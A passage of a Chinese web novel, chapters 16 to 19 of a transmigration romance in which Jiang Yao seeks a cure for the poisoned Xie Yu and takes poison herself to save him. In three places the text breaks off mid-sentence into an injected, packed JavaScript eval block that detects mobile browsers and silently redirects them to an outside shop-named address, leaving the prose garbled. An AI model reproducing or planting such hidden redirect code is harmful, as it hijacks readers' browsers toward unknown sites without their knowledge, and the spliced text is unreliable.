待她终于痊愈后,他又受伤了。 剑书匆匆推门进来,眼中还带着红血丝,显然是一夜未睡。他语气又急又怒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491224|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对众人道:“我审问了抓回来的那些人,他们皆不清楚昨夜那位斗笠汉子是何身份,更不知道解药在哪里。” 墨砚厉声道:“我这就去把吴永廉那个狗官绑来,那人既然是他找来的,他就一定知道这人的底细。若是他不肯说出解药在哪里,我便一刀剁了他。” 许远宁摇了摇头:“没用的,霜序昨夜就带人去围了吴永廉的府邸,可吴永廉一句有用的消息也没说出来。” 说这话时,她面露愧色。 因为只有她知道,那个斗笠汉子是盛国人,毒药多半是那与她水火不容的二哥萧远起研制出来害她的。但这事关她的身份,她不能说出来。 可谢瑜是为救她而中毒,她不喜欢欠别人。 她攥紧藏于衣袖中的手,暗自下了决心,若是谢瑜当真无药可医,她便赶回盛国,即便是拼了这条命也要杀到萧远起面前,逼他交出解药。 良久,半夏终于扎完针,对围上来的众人道:“此毒诡谲,我医术不精,只能用银针封住他的穴位,帮其延缓毒发,却并不能救其性命。若是找不到解药,他至多还有一月的寿数。” “且我敢保证,这楚州城中,无论你找哪一位大夫,都无济于事。” “我不信,偌大的楚州城,难道还找不出一个可以解毒的大夫吗?”剑书猛地站起来,丢下这一句话就要冲出门去。 “站住!” 危急关头,最冷静的还是江遥。她低声喝住剑书,因着她素来说话都是细声细气、语调柔和的,陡然间冷了声音的时候,竟颇有几分谢瑜的感觉。 于剑书而言,颇有威慑力。 剑书止住脚步,回过头的时候红了眼眶,他急道:“那我们就这样试也不试,眼睁睁看着世子离开吗?” “我们听季大夫把话说完。”她转而望向半夏,“季大夫,我看你面带犹豫,是否有什么旁的法子解毒?” 问题出口的瞬间,江遥心里也提着一口气。 原剧情中,谢瑜一行人根本没有遇到半夏。是许远宁和宋清时为救谢瑜联手与萧远起博弈,这才逼得萧远起让步,交出了毒药的配方。 然而此毒颇为诡谲,哪怕是有了药方也难以尽数消解它的毒性。最后,谢瑜还是失去了全部内力,半数武功尽废,成为了一个身体孱弱的普通人。 江遥觉得这对谢瑜实在太残忍了。 眼下,半夏是此局中唯一的变数,她只能将希望寄托于此。 半夏用布娟将银针上面淡淡的血迹擦掉,然后将银针一一归位。 她缓声道:“岫川的幽兰谷有位名医,名唤云愈心,人皆称赞其可活死人,肉白骨。我去岁亦承蒙她指点,医术进步匪浅。你们若能找到她,或许能救得了谢大人的命。” “岫川距离楚州路程不远,但幽兰谷位置极为偏僻,又是在崖底,以谢大人如今的身体,只会加速毒发,根本撑不到到达幽兰谷的时候。诸位可带上我的亲笔书信,幽兰谷谷主看过信之后,定会随你们来救人。” 幽兰谷?! 江遥的眼睛一下子亮了起来,好像抓住了突破口。 原著中并未提及云愈心,可是却写到了幽兰谷谷主的亲传弟子云溪,有医仙之名,可解百毒。 她突然想到,哪怕云愈心不肯来,若是能请来她的徒弟的话,也定能救得了谢瑜! 商议过后,众人定下决策,决定兵分两路,一路去幽兰谷求药,另一路则留在楚州帮宋清时处理漕运走私案的后续,顺便寻找其余的疗法。 16. 清冷正直世子16 趁众人收拾行装的时候,江遥走出客栈,随便找了个安静的地方,在脑海中点进系统商店。系统商店中有公司专门为做任务的员工提供的各种道具,员工凭积分就可以兑换。 但为防止员工过度依赖这些产品,从而疏忽了精进业务能力,各种道具都有一定程度的副作用,道具威力越大,所承受的副作用就越强。因此如果不是紧急时刻,做任务的员工都不会轻易动用道具。 一行行商品扫过去,江遥最终锁定了一个名叫“养精蓄锐神器”的产品,点进商品详情页,商品的介绍如下: 养精蓄锐神器:顾名思义,使用后可帮助员工养精蓄锐,充分改善使用者的健康情况,减免在使用期间的病痛,为期一个月。副作用:在产品到期后,该使用者身体健康状况会急速下降,并且双倍承受之前因药物阻挡而未曾经历的病痛。价格:五万积分。 江遥暗想:一个月的时间,足够了,刚好能撑到从幽兰谷走一个来回。如果不使用这个道具,以她现在的身体状况,恐怕在半路上就会倒下。 她随即兑换了这个道具。 “江姑娘。” 耳畔似乎听到有人在叫她。 江遥骤然回神,抬眼便看到许远宁正从不远处的河边朝她走过来。 先前因记挂着谢瑜的伤势,她出门时,连外衫也忘了披。此刻暮色渐起,连风也带了些凉意,她站在风口处,被风吹得忍不住低低咳嗽了几声。 许远宁的脚步恰好停在江遥身侧半步远的位置,不偏不倚,将江遥面前吹来的风挡住了大半。 她自己今日也穿得单薄,站在风口处,却像浑然不觉。 许远宁想,眼前的这个人仅仅是一阵风都抵抗不了,又如何承受得住路途中的艰难险阻。 她有些犹豫,却终是启唇道:“我听闻你也要去幽兰谷,你的身体……不然还是我和剑书同去吧。” 她可不想等谢瑜病愈之后,谢瑜的心上人又病了。 “我自己的身体我知道的。”江遥笑了笑,“漕运走私案即将收尾,楚州这边离不开许大人。你放心,我不是逞能,我保证,在亲眼见到知白哥哥好起来之前,我是绝对不会倒下的。你们若是还不放心,可以让季大夫给我诊诊脉。” 她虽然笑着,可神情却看起来很坚持。 许远宁不置可否,眼中划过一丝转瞬即逝的惊讶,然后换上了一副果然如此的神情。 来景国多年,见惯人情冷暖,她一直相信一个道理:若是要试探一个人对你是否真心,那便要看危难之际这个人能否待你如初、看你性命垂危之际她又是否肯豁出自己的性命去为你求一个生路。 许远宁曾经觉得谢瑜是个很傻的人,傻到竟然可以为了她这个相识不久的同僚挡箭,可现在看来,这里还有一个傻的。 傻人配傻人,天生一对。 看着面前的江遥,许远宁蓦地笑了一声,笑声吹散在风里,听不真切,直叫人以为是错觉一般。 对面的江遥面露不解。 她轻拍了拍江遥的肩膀:“我想,我若是谢知白,也会喜欢你的。” 聪慧漂亮,遇事冷静,意志坚定,又拥有最炽烈的爱意,这样的姑娘,当得起谢知白那样光风霁月的人的喜欢。 而她与她们,终究不是同路人。 * 半夏在摸上江遥的脉搏时,只觉得自己手下这脉搏跳动得平稳有力,分明是健康的人才有的力度,一阵惊奇。 初时还不信,她又让江遥换了另一只手诊脉,发现又是差不多的结果,这才感叹道:“江姑娘的身体竟然恢复得这样好。” “全仰赖季大夫妙手回春。”江遥微微颔首,起身便朝门外走去。 院中,马车已经套好。剑书侍立辕侧,许远宁则斜倚在廊柱旁,抱着手臂,目光在她身上一扫。 江遥脚步未停,唇边笑意浅淡,迎着两人望来的视线,道:“方才的话,二位应该都已经听到了吧。请问,我现在可以动身前往岫川了吗?” 许远宁侧身为江遥让开道路,做了个请的姿势:“此番道阻且长,愿二位一路平安。” 剑书则利落地将脚凳放稳,朝她拱手,声音沉稳:“劳烦江姑娘同我走这一遭了。” 马车在江遥上来之后,就一路疾驶。每到一个驿站,就会换上新的马匹,如此不眠不休地行进下去,到达岫川之时,竟然只用了十天。 原本二十天的路程,硬生生被他们缩短了一半时间。 岫川一带,南为谷地,北为山地,因为地处景国边界,所以管理相对疏散,南面的谷地更是聚集了诸多江湖的奇人异士,因此有名医倒不足为奇。 江遥和剑书走到崖底之后,借了别人的马匹,顺着湖水,一路行了百余里,又用了两天时间才到达幽兰谷。 幽兰谷的入口,掩藏在一片接一片的幽深竹林中。风过时,竹林飒飒作响,深处的景象被茂盛的竹子遮得严严实实。 江遥和剑书只能步行而入。 待穿越过层层的竹林,视线才开阔起来,最先入目的是一片极为开阔的药草园,走近些可以闻到药草的清香。 地上还有些散落的树枝没有清理干净,江遥进来时因为有些心不在焉,差点被绊倒。 “不妨事。”她站稳后对剑书摆了摆手,慌乱的心逐渐感觉到一点镇静。 因为她看见了不远处的屋宇冒着的袅袅炊烟。 有炊烟,就证明有人在。 好在他们没有错过。 哪知刚踏入正门,便感受到地面一阵晃动,下一秒,数十条手臂那么粗的蛇,悉悉索索地爬了出来,它们花色各异,瞳孔冰冷而无情,直勾勾地盯着江遥和剑书这两位闯入者,像是要把他们生拆入腹中。 数十条蛇的蛇身彼此碰撞又交缠,顺着地面逐渐向他们逼近,卷起一阵尘土,若即将蔓延过来的涨潮的河水,很快就要把他们吞没。 剑书拔出佩剑,将江遥护在身后:“这蛇有毒。江姑娘,你先走,今日剑书就算是死,也要为世子求来解药。” “剑书,先不要轻举妄动。这些蛇麟甲油亮,又生得这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491225|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粗.壮,一看就是被人精心喂养的。若是伤了云谷主的爱宠,生了嫌隙,我们恐难以再找她求药。” 不能砍伤,就只能吓退。 江遥捡起地上掉落的枯树枝,用火折子将其点燃,她猛地举起火把,将逼近她们的一条蛇吓退。 蛇群将他们团团围住,很快堵住了所有出口。 剑书斩断一根翠竹,就火点燃,旋即手执流火,频频挥舞,驱走不时想要接近他们的蛇,因为速度过快,竟于地上划出一圈燃烧的圆光,为江遥两人圈出了一个安全的地界。 然而随着火光的点燃,越来越多的蛇群围了上来。 江遥手上的枯枝即将燃尽,越来越多烧掉的灰烬掉落,眼看就要掉在她手上。 余下的火焰已经毫无威慑力,她扔掉最后那短短的一节树枝,正要弯下腰拾起新的树枝点燃,一条青色斑点的蛇突破了剑书的防线,朝她扑过来。 那一刻,江遥身体紧绷。 几乎以为自己就要命丧于此。 好在天无绝人之路。 下一秒,一声清脆的口哨声响起。 霎时间,所有向他们围上来的蛇全部止住动作。 一个穿着鹅黄色衣裙的小姑娘悠然走了出来,约莫十一二岁,她手里还提着药篮,手上也带着些土,像是刚从药园子里走出来。 方才还在围攻江遥二人的蛇群一见到她,便都一窝蜂地向她爬去。 笑靥如花的小姑娘将药篮放在地上,很亲昵地摸了摸向她凑近的青色斑点的蛇,安抚道:“乖哦,他们是客人,你们这样热情会吓到他们的。” 接着,小姑娘又吹了声口哨,蛇群就像被控制了一般,若退潮的河水,一下子就退散开来,慢慢回归到谷中各处,消失在众人的视线中。 “二位是上门求药吗?” 小姑娘眉眼弯弯,笑起来时很有亲和力。 江遥拿出半夏写的书信,将其递给那位小姑娘。 小姑娘在衣裙上蹭了蹭,把手擦干净,才接过书信看了起来。 她先是点了点头:“嗯嗯,你们的来意我已知晓。”旋即又话锋一转:"可是你们来得不巧了,我师父已经出门远游多时了,尚未回来。" 剑书急切地问道:“那敢问云愈心谷主何时能回来?” “这可说不准了,短则几月,多则一年。” 小姑娘道。 果然,想要改变一个人的命运何其艰难。 江遥在心中深深叹了口气,好在她知道云愈心还有位名震江湖的徒弟: “那请问云溪医仙又在哪里?” 小姑娘瞪大眼睛,讶然道:“医仙?我何时成了医仙?” 看着眼前才十一二岁的小姑娘,江遥的心骤然间沉了下去。 她忽然意识到自己好像忽略了一个细节,那就是在原著中,云溪扬名江湖、被人称为医仙是在她的师父云愈心逝世之后了。 而现在,她不过是个小姑娘,也许连医术都还学的不到家。 又该如何为谢瑜解毒呢? 17. 清冷正直世子17 听见小姑娘的回答,江遥的脸色越来越难看,一股绝望从她心底油然生起,逐渐蔓延至全身。 从楚州到岫川,从陆路到水路,从悬崖到山谷,这一路何其遥远漫长,江遥却从未想要退缩过。 因为她知道,她这一去肩负的是谢瑜的性命和未来,她必须要去幽兰谷,必须要将能为谢瑜解毒的大夫带回来。 可现在,她突然发现自己所有的坚持都不过是一场空。 剑书表情焦急,似乎还在和云溪说着什么,但江遥耳畔嗡嗡作响,周遭所有的声音于她而言都像隔着一层厚重的玻璃,听不真切。 她张了张口,想要再说些什么,可嗓子干涩得难受,竟是连声音也发不出来。 心里一直靠信念提着的那口气陡然被抽走,她感到腿脚发软,下意识地想要抓住些什么。 “江姑娘!” 剑书正要拉住江遥,可却有人先一步扶住了她,让她借着自己的力重新站好。 出于医者本能,云溪扶起她后顺手给她号了脉。小姑娘温热的手扣着她的手腕,看向她的目光清明而澄澈,却又拥有洞察一切的力量:“从表面上看,你的脉象匀净从容,是难得的‘平脉’。” 完全没料到她能说出这番话。 江遥从无尽绝望中抬起头,像是被她触动到。 下一秒,云溪将指尖放在她的尺脉处,几不可察地轻轻一按,稚嫩的声音里带着些许严肃:“可惜,从容太过,反倒不像是正常人的脉象。你的身体底子应该并不乐观,似乎是服用了什么猛药,才能勉力坚持到现在。” 剑书猛地看了江遥一眼,神情错愕。 江遥点头称是。 她那颗已经沉入谷底的心突然就有了些许回升。 她眨了眨眼睛,努力忍住眼眶中的泪水,带着点哭腔问道:“云大夫,我们可以相信你吗?” 她紧紧抓着云溪的手,抓着她仅剩的希望。她想:云溪,你那么厉害,未来的你解得了那么多复杂的毒,救得了那么多的人,你甚至连我身体的真实状况都可以判断出,那么你是不是也可以救得了谢瑜。 我真的可以相信你吗? 云溪愣了一下,那双带着笑意的眼睛很柔和地看着她:“小女不才,于解毒一项颇有心得。承蒙姑娘不弃,愿倾力相助。” 她说话的时候是那么云淡风轻,分明才十一二岁,看着江遥的时候,竟有一种悲悯的感觉。 有些人就是这样,只要你看她一眼,你就会觉得,她是值得交付信任的人。 剑书和江遥对视一眼,彼此心中已经有了定论。 后来江遥才知道,云溪说的“心得”哪里只是“颇有”,分明是“超级有”。 那时的她忍不住感叹道,果然幼年体ssr也终究是ssr。有些人天生就该做主角。 * 几人一路奔波,再次回到迎宾客栈的时候,时间已经过去了二十二天,谢瑜的生命只剩下了最后八天。 墨砚和许远宁收到消息后,一早便等在迎宾客栈门前迎接他们。待看见江遥二人跋山涉水请回来的大夫居然只是位十一二岁的小姑娘时,都有些吃惊。 上楼的时候,墨砚忍不住暗暗打量走在前面的小姑娘,目光中透露着些许的不信任。 因为着急赶路,江遥三人回到客栈的时候都很狼狈。此时,云溪的发髻有些凌乱,原本鹅黄色的衣裙也因为沾了尘土的缘故,变得灰扑扑的,手里还拎着个很大的药箱,她带着药箱上楼梯时,甚至显得有些费力。 看小姑娘着实有些辛苦,墨砚伸手想接过她的药箱,帮她提着。 哪知却被小姑娘拒绝了:“感谢您的好意,但于医者而言,药箱就是身家性命,是万万不可离身的。” 墨砚想,虽然看着稚嫩,但她言语得体,还很爱笑,真的是个很讨人喜欢的孩子。 可话又说回来,即便是再乖巧懂事的孩子,那也终究还是个孩子啊。 趁着转弯的时候,他终于忍不住将江遥拉住,悄声问:“这个孩子真的可以解得了世子的毒吗?不然还是让成家军潜伏在各处的人去找找云谷主的下落吧?” 另一旁的许远宁虽没有墨砚表现得那么直接,但她蹙着的眉也昭示出了主人的情绪。显然,她对云溪的医术也抱有怀疑态度。 只有半夏,她原本站在谢瑜的房门前,等待着云愈心的到来。在看到来的人是云溪时,先表现出来的是讶然,然后顷刻间眼底所有的讶然都尽数转化为惊喜。 半夏手里还拿着药杵,看到云溪的那一刻,紧绷了多天的神经突然就放松了下来,她将药杵放下,笑着迎接她进门:“云溪,我真没想到你能来。” 她这位朋友,于医术上颇有天赋,小小年纪就已经医术超群,又酷爱研究制毒之道,有她来为谢瑜解毒,自是最好不过。 但云溪这个小姑娘很有一套自己的行医方式,不是什么人都愿意救。若是上门求医的人不合她的眼缘,无论多少金银,她也是决然不肯去救人的。 所以这次云溪能同江遥一道前来,半夏其实颇感意外。 云溪也弯了弯唇:“好久不见,半夏姐姐。” 她跟着众人踏进谢瑜的屋中,一进门就看到榻上的人,见其面色惨白,又昏迷不醒,猜到这一定就是江遥口中那位“谢知白”。也不再多耽搁,绑起碍事的袖子,登时开始号起脉来。 半夏则接过她的药箱,将她可能会用到的东西从药箱中 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“就是什么?云小大夫放心,不论这办法是上刀山还是下火海,我剑书也是在所不辞的。” 剑书的神情急切而坚定。 云溪摇摇头:“恰恰相反,这办法既不需要上刀山,也不需要下火海,却只需要你们对这位哥哥的一点点感同身受。” “要如何感同身受呢”江遥问道。 “这位哥哥所中的毒确实很棘手,我甚至都不能完全辨别其中所用的药材。但我这人治病,偏爱以毒攻毒。” 云溪晃了晃手中的白瓷瓶,“这瓶中装的是我自己做的另一种毒,名为蚀心散,发作起来,若锥心蚀骨,随着时间的流逝,疼痛也会从最初的心脏处逐渐蔓延至全身。我方才将这两种毒混合起来,发现这两种毒果然可以相互抵消。” “但这位哥哥由于中毒多时,身体虚弱,无法同时承受两种凶猛的毒素。我所说的感同身受,就是选一个人来替他服下蚀心散,让毒性在他的体内走上一遭,待毒素深入这个人的体内,便可以取他的血来救这位哥哥。” 云溪走到桌前,将小巧的白瓷瓶放在上面,瓷白的圆肚瓶身被耀眼的日光照射着,呈现出一种奇异的光芒。 云溪身上带着一种超乎年龄的沉稳,让人无端信服。 她淡笑着说:“观今日之情形,我觉得这‘蚀心散’亦可作‘试心散’,这位哥哥是否能活下来,就端看诸位对他是否真心了。 这毒我便放在这里,诸位可以随意取用,无论是谁服下,我都有自信为其解毒,但这个人必须要经历一段毒素发作的痛苦过程才能救得了这位哥哥。” 18. 清冷正直世子18 云溪话音甫落,剑书未加犹豫,便要拿起桌上那个白瓷瓶。 只是他的手还未碰到瓶身,一道银光便挟着劲风向他袭来,剑书猛地缩手,那道银光便擦着他手背掠过。 “当”地一声,一把短刀深深扎入桌面,刀柄还在震颤。 在剑书收手的瞬间,另一道身影已来到桌前。墨砚抢先一步,将瓷瓶拿到了自己的手上。 剑书气恼道:“墨砚,你这是做什么?” 墨砚拔出插在桌子上的短刀,重新将短刀放回剑鞘中。 他眸光轻扫过手中的瓷瓶,平静回答:“剑书,你和江姑娘为给世子寻医,已经付出了诸多心力,替世子试毒这事儿,还是让我来吧。” 剑书轻叹了口气。 墨砚的语气倒是松快了些,半是玩笑地开口:“我好歹也长你几岁,这种‘立功’的机会你就让让我吧。” 他捏着手中的白瓷瓶,正要将药粉倒一些出来就水喝掉,却又被另一只手阻止。 许久未曾言语的许远宁在此时抬起眼,她按着墨砚的手,声音沉静又不容拒绝:“我不喜欢欠人。谢瑜是为我挡的毒,于情于理,都应该我来替他试药。” 一时间,几人各执一词,谁也不肯退让半步,屋内气氛顿时凝住。 自从介绍完解毒之法,江遥便一直沉默着,她总觉得,事情没有这么简单。 她的目光落在一旁的云溪身上。 这位被他们称作“云小大夫”的小姑娘,此刻正静静看着几人争执,一双狡黠的狐狸眼微微放空,似乎在思考着什么。 分明是患者生死攸关的时刻,她脸上却看不到半分凝重,唇边甚至带着一丝若有若无的笑意。那笑意很浅,却让江遥心里那点异样感愈发清晰。 “云小大夫。”江遥忽然出声唤了她一句。 云溪闻声,慢悠悠地转过头,眼睛眨了眨,长睫扇动,瞬间便换上一副无辜的神情:“江姐姐,怎么了?” “这解毒的办法,应该没你方才说的那么简单吧?”江遥迎着她看似纯净的目光,说道,“否则,你直接指定一人服毒便是,何必要看着我们争来争去?” 此言一出,室内争执声立停,满室寂静。 云溪望着江遥的眼睛,忽然就笑了。她抚手拍了几下,语气里是毫不掩饰的赞赏:“江姐姐果然聪慧过人。” 在众人惊疑的注视中,她从袖中又拿出一个与之前那个白瓷瓶形制相仿、却更为小巧的青瓷瓶。 云溪微笑道:“这瓶才是真正的蚀心散。至于方才那瓶,毒素剂量很小,即使服下,也绝不至于有性命之忧。” 许远宁双眸眯紧。她上前一步,声音带着审视与寒意:“云小大夫这是何意?” 直到现在,她才真正对云溪改观。 眼前这个小姑娘,好像轻易就可以拿捏人心,只用几句话就可以将他们哄得团团转。这样的人,若为敌人,必定是很棘手的对手。 云溪收起脸上的笑意,起身,规规矩矩向众人鞠了一躬。再抬头时,她那双狐狸眼里露出几分清正与郑重。 “抱歉诸位,非我故意欺骗。”她语气真诚,继续补充道,“只因为病人的性命全系于试毒之人一人身上。试毒之人这期间所承受的刮骨噬心之痛,远超常人想象,且为保药性纯粹,不能服用任何镇痛之物。” “这样的痛苦,非心智坚定之人所不能承受。所以我必须要试探一下,诸位是否真心,否则行将踏错一步,病人和试毒之人都将丧命。” 江遥静默地听她说完,才开口,声音平静:“那请问云小大夫,你试探得如何了?” 云溪的目光一一落在众人坚毅的神情上,她轻轻点了点头,脸上既有钦佩,又有感慨。 “我随师父行医几年,也算见过些人情冷暖。”她顿了顿,声音里透出一种与年龄不符的沧桑,“我见过危难之际的夫妻为了活命奔跑离散,也见过为了一点蝇头小利,一个父亲可以毒死自己的亲骨肉。 在向诸位说出解毒之法前,我甚至想,世态炎凉,就连至亲之人都不肯为对方付出些什么,更逞论你们这些所谓的朋友和下属。” “可是,你们确实出乎我的意料。明明知道要受锥心蚀骨之痛,却还是甘愿替这位哥哥走这一遭。是我之前太浅薄了。” 她抬眼,望进江遥的眼睛,语气是纯粹的赞赏,又带着点疑惑,像是好奇榻上那个人为何会让众人这么死心塌地。 这时候的她才终于有了些这个年纪的小姑娘应该有的样子。 江遥摸了摸小姑娘的头,很温柔地对她说:“你还太小,等你长大了,或许就会懂得这样的情谊了。” 江遥看着榻上昏迷不醒的人,心里暗想:“因为他是谢知白啊,他是那样好的一个人,值得我们豁出性命去救他。” 云溪歪着头,对这句话反应了一会儿,实在想不明白她的年龄和这个问题的答案有什么相关。 她索性决定不想了,转而从药箱中拿出一个瓷碟,对众人正色道:“既然已经检验过了各位的真心,那剩下的就要看天意了。这种取血救人的方法名为溶血之法。” “医经有言,阴阳相济,血气乃成。医经将人的血分为阴质血和阳质血,所以要使用溶血之法,有一个前提就是血质相同。” 许远宁目光中仍带着几分警醒,她状似不经意地试探道:“世上竟然还有这种玄妙的说法,不知这医经是哪位医圣所著?” 云溪心知她是因为自己先前试探的行为生起了警惕心,也不生气,笑着解释道:“问得好,这医经是我师父的师父所写,这其中记载的玄妙医理,怕是连宫中的医官也无从知晓呢。” 一旁的半夏也替她作证:“大家放心吧,我季氏也是行医世家,幼时祖父同我提起过这溶血之法,可惜我资质浅薄,没有掌握,不想今日竟能亲眼得见。” 云溪接着说:“这位哥哥的血质偏阴,只有与他同样的阴质血之人为他试毒,才能救他。否则两种不同的血液对冲,他的身体会产生排异反应,不仅不会吸收,反而还会加速他的死亡。” 她在瓷碟中洒了些药粉,然后兑水化开。 “诸位可以用这个刺破手指,滴在碟中。”云溪展开自己的针包,从里面拿出一根银针,“我在这水中加了点东西,若为阴质血,血滴会带着些银白色的雾气;反之,则会带着些金色雾气。” 为表诚意,云溪率先扎破手指,血滴滴下去,并没有被碟中水稀释,反倒维持着滴落时的形状,表面泛起一丝淡淡的金色雾气。 颜色很浅,却足以判断出是阳质血。 众人依次拿过银针,用针刺破自己的手指,一滴滴血滴进碟中,竟没有一个人的血是阴质血。 最后一个人是江遥,因着她身体不好,众人将她排在了最后,想着这么多人,总有一个人会是阴质血,总不会轮到她试毒的。 可是最终还是轮到了她。 她用自己筋骨嶙峋的手拿起银针,刺破手指。 就好像是命运的安排一样,她滴下去的血滴表面泛起一丝极淡的、如月华般的银白色雾气。 那一瞬,所有人都沉默了。 江遥却长舒了一口气。她想,谢瑜的结局由她来亲手改变,这最好不过了。 看着表情严肃的大家,江遥弯了弯眉眼:“我是阴质血呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491227|202237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大家不为知白哥哥高兴吗?” 知道她身体内情的剑书表情看不出喜悲,刚要开口说些什么,却被江遥的眼神制止了。 云溪看出了众人的顾虑,安慰道:“大家放心吧,有我在,必不会让江姐姐有什么危险的。” * 五日后,昏迷了多日的谢瑜终于醒了过来。 那是一个拂晓,天刚蒙蒙亮,屋内彻夜燃烧的蜡烛已经被烧尽,光线有些暗。 谢瑜意识回来的瞬间,最先入目的是趴在他身边睡着的江遥。 窗子没有关严,床边的帘帐被透进来的风吹得飘起来,不时划过年轻女子的脸庞。 她的眼下一片青黑,帘帐飘动的光影明明灭灭地打在她的睡颜上,却没有影响她的丝毫睡意。 谢瑜手臂微微用力,想要起身把帘帐挽起来。 只是手臂上的皮肉伤已经好了,但刚清理完毒素的身体还很虚弱,手上没有力气,竟又跌了回去。 这一点点的动静终究还是惊醒了在床边守着的人。 江遥猛地抬起头,看见已经清醒了的谢瑜时,神情有些激动。 她揉了揉眼睛,微笑道:“知白哥哥,你终于醒过来了。” 谢瑜的记忆其实还停留在中了毒箭的那个夜晚,尽管他并不清楚自己究竟昏迷了多久,但他可以闻得到屋中浓郁的药香,这几乎浸润于屋中的药香绝非一日之功。 看来,大家为了给他解毒一定废了不少功夫。 “嗯,我醒了。” 他面带愧疚,开口的瞬间,才感觉到有些干哑。 声线不似从前般清越,却依旧带着令人安心的力量:“阿遥,这些日子,辛苦你们了。” 江遥听见他干涩的声音,这才想起来谢瑜醒来后还滴水未进。 她快步走到桌前,给谢瑜倒了杯水。 江遥将水递给谢瑜时,谢瑜的目光不经意划过她的手,神情一怔。 原本江遥的手虽然纤细,但胜在皮肤白皙,自有一种清瘦的好看。 可现在她的手背不仅微微发红,还多了些细碎的、已经结了痂的小伤口。 谢瑜皱眉问:“这伤是怎么回事?” 顺着他的视线看去,江遥这才想起来自己手上还有伤。 那是她前不久同剑书去幽兰谷时受的伤。幽兰谷地处偏僻,路也不太好走,期间有些什么磕磕碰碰都是正常的。 因着之前兑换的“养精蓄锐神器”buff,江遥对于一些小伤都没什么感觉。反正也不太疼,时间久了她自己都忘了,没想到居然就被谢瑜给发现了。 该怎么解释呢?解释了这个又还要解释别的。 江遥忽然又想起她的左手手臂上还有放血的伤口没有养好,便不着痕迹地将自己的左手手臂往身后藏了藏。 谢瑜还在等着她的回答,清冷的目光就那么盯着她。 她略显心虚地接过谢瑜手上的杯盏,径直把杯口对准谢瑜的唇喂了下去:“那什么,知白哥哥,你先润润嗓子吧。” 谢瑜刚要说话,哪知张口的瞬间便被眼前人喂了口水,一口气没顺下来,差点被呛死。 他不停咳嗽着,咳得原本有些苍白的脸色都红润了些。 剑书就是这个时候推门而入,看见谢瑜已经清醒,高兴地说:“我早听见这屋有动静,猜想是世子醒了,果不其然。” 他看着谢瑜红润的脸色,由衷地赞叹道:“云小大夫真是厉害啊,世子昨日还苍白的脸色,今日一醒来就变得如此红润。” 刚咳嗽完的谢瑜:…… 江遥:就是说有没有一种可能,他的脸色其实是被我气红的? 19. 清冷正直世子19 江遥走后,谢瑜的视线随意落在手中的茶杯上,神情淡淡。 他回忆起江遥藏在身后的左手,以及谈及伤口问题时的遮遮掩掩,总觉得有什么事瞒着他。 谢瑜将另一只手放在自己受伤的左臂上,伤口已然结痂,却依然可以感受到隐约的疼痛。 心间总有一种不好的预感。 “我要知道原原本本的过程。”他对身边的剑书道。 说话时的语调很平稳,却又有一种不容置疑的感觉。 剑书收敛了嬉笑的神色,猛地跪了下来,他垂着头,拱手道:“属下知错。” * 江遥回到自己的房间,在脑海中点出控制面板,德牧头像的那一栏,好感度展示为百分之百。 自谢瑜认识到自己的心意后,便不再克制自己的情愫,他的好感度一路飙升猛涨,在他中毒前就已经涨到了满额。 对江遥来说,她现在的任务就只剩下了死遁一个。 得知她即将要完成任务,另一个世界的蓝雁还特意发来慰问贺电:“恭喜,江遥小姐,看来你已经安排好你的死法了。” 明明是温暖的恭喜话语,可用蓝雁那种冷冷淡淡的声音说出来,总让人感觉有点没有温度,好像在讲冷笑话。 江遥耸耸肩,面上不置可否,可心里却划过一丝波澜。 她的身体靠之前兑换的[养精蓄锐神器]撑着,即使是服下了云溪的蚀心散,也没有经历什么痛苦。 可这件buff的使用时间只有一个月,如今已经是第二十七天。纵使现在云溪已经为她解开了蚀心散,三天后她仍然要双倍承受之前在[养精蓄锐神器]的阻挡下未能承受的病痛。 这病痛自然也包括蚀心散的毒效。 她现在的身体已经是强弩之末,届时蚀心散双倍发作,是一定撑不过去的。 江遥唇边的笑意带着一丝苦涩。 其实她原本并没有想好自己脱离这个身份的方式,但当时听云溪介绍蚀骨散的作用时,她一瞬间预见了自己的结局。 她想,没有人比她再合适了。 后来果不其然,只有她的血能救谢瑜,她甚至不用想任何理由来说服大家了。 这样最好不过了,她完成了自己的任务,谢瑜不用再经历原著中的结局,其余人也不用受苦。 听起来是个皆大欢喜的结局。 可是,她的心里却还是有一种不安感。 她看向自己手边的墨色Q.Q人,宣纸上的小人还是那样呆萌的表情,对接下来要发生的事情一无所察。 江遥蹙着眉。 不知道谢知白知道她的死讯后,会不会接受不了。他那么善良的一个人,若是知道了自己的命是心爱之人为自己试毒换来的,会崩溃吗? 他虽然不用像原著中那样内力尽失、缠绵病榻,可这样的结局又是他想要的吗? “怎么,舍不得了?”那边的蓝雁问道。 